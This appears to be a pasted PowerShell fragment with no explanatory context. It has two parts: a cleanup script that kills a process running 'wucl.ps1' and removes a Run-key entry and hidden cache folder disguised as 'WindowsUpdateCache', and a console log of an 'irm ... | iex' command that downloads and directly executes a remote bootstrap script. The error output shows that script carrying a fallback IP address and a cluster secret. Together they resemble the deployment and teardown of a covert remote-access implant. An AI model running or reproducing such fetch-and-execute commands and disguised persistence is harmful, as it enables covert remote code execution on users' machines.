$ErrorActionPreference = "SilentlyContinue"
Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" | ForEach-Object {
if ($_.CommandLine -match 'wucl\.ps1') { Stop-Process -Id $_.ProcessId -Force }
}
$rk = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", $true)
if ($rk) { $rk.DeleteValue("WindowsUpdateCache", $false); $rk.Close() }
Remove-Item -Recurse -Force "$env:LOCALAPPDATA\Microsoft\Windows\INetCache\wuc" -ErrorAction SilentlyContinue
Write-Host "cleaned"
——————————————————
PS C:\Users\tf> irm https://chat.monasa.net/api/term/bootstrap | iex
iex : 所在位置 行:190 字符: 98
+ ... place "<<FALLBACK>>","60.204.220.145" -replace "<<SECRET0>>",CLUSTER_ ...
+ ~
“,”后面缺少表达式。
所在位置 行:190 字符: 98
+ ... ","60.204.220.145" -replace "<<SECRET0>>",CLUSTER_SECRET[:len(CLUSTER ...
+ ~~~~~~~~~~~~~~~~~~~
表达式或语句中包含意外的标记“CLUSTER_SECRET[:len”。
所在位置 行:1 字符: 50
+ irm https://chat.monasa.net/api/term/bootstrap | iex
+ ~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : MissingExpressionAfterToken,Microsoft.PowerShell.Commands.InvokeExpressionCommand
PS C:\Users\tf>